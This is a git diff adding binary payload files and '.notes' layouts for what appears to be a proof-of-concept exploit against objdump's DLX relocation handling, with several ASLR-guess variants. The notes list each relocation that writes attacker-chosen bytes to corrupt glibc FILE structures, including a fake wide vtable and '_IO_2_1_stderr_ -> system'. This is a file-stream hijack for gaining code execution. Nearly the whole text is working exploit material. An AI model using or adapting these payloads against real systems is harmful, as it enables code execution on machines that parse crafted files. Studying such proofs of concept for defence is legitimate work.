diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f42e600.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f42e600.bin new file mode 100644 index 0000000..0666622 Binary files /dev/null and b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f42e600.bin differ diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f42e600.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f42e600.notes new file mode 100644 index 0000000..61582b1 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f42e600.notes @@ -0,0 +1,34 @@ +layout=wsl2404 +flag_byte4=0x05 +buf_delta=0x6f300000 +wide_delta=0x4fff0000 +system_delta=0x6f42e600 +command=P +off_io=-0x3690 off_sec=0xbb0 rbase=0x220 +sec_size_offset=0x38 + +000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8 +007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8 +008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec +009 target=0xbec sym=0x000000ff finish write bytes at 0xbec +010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e5ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e5ff.bin new file mode 100644 index 0000000..795cdee Binary files /dev/null and b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e5ff.bin differ diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e5ff.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e5ff.notes new file mode 100644 index 0000000..b9c2213 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e5ff.notes @@ -0,0 +1,34 @@ +layout=wsl2404 +flag_byte4=0x05 +buf_delta=0x6f300000 +wide_delta=0x4fff0000 +system_delta=0x6f43e5ff +command=P +off_io=-0x3690 off_sec=0xbb0 rbase=0x220 +sec_size_offset=0x38 + +000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8 +007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8 +008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec +009 target=0xbec sym=0x000000ff finish write bytes at 0xbec +010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e6ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e6ff.bin new file mode 100644 index 0000000..47f529f Binary files /dev/null and b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e6ff.bin differ